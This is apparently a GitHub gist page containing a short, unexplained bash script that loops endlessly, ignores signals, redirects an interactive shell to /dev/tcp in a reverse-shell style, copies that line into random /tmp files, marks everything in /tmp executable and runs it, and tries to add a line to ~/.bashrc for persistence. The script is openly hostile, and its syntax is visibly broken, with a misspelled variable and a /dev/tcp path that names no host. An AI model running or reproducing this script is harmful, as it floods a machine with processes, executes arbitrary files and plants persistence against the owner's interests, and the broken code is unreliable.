Skip to content

Instantly share code, notes, and snippets.

@gdisneyleugers
Last active March 8, 2017 21:33
Show Gist options
  • Save gdisneyleugers/9861268 to your computer and use it in GitHub Desktop.
Save gdisneyleugers/9861268 to your computer and use it in GitHub Desktop.
#!/bin/bash
trap 'INT'
for (( ; ; ))
do
trap 'HUP'
touch /dev/tcp
/bin/bash -i > /dev/tcp 0<&1 2>&1 & >> /tmp/$RANDOM
touch /tmp/$RANDOM
echo "/bin/bash -i > /dev/tcp/ 0<&1 2>&1 & >> /tmp/$RANDOM & echo tty1 > /dev/tty1 & echo /tmp/$RANOM >> ~/.bashrc" >> /tmp/$RANDOM
chmod u+x /tmp/*
cd /tmp
./*
echo tty1 > /dev/tty1
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment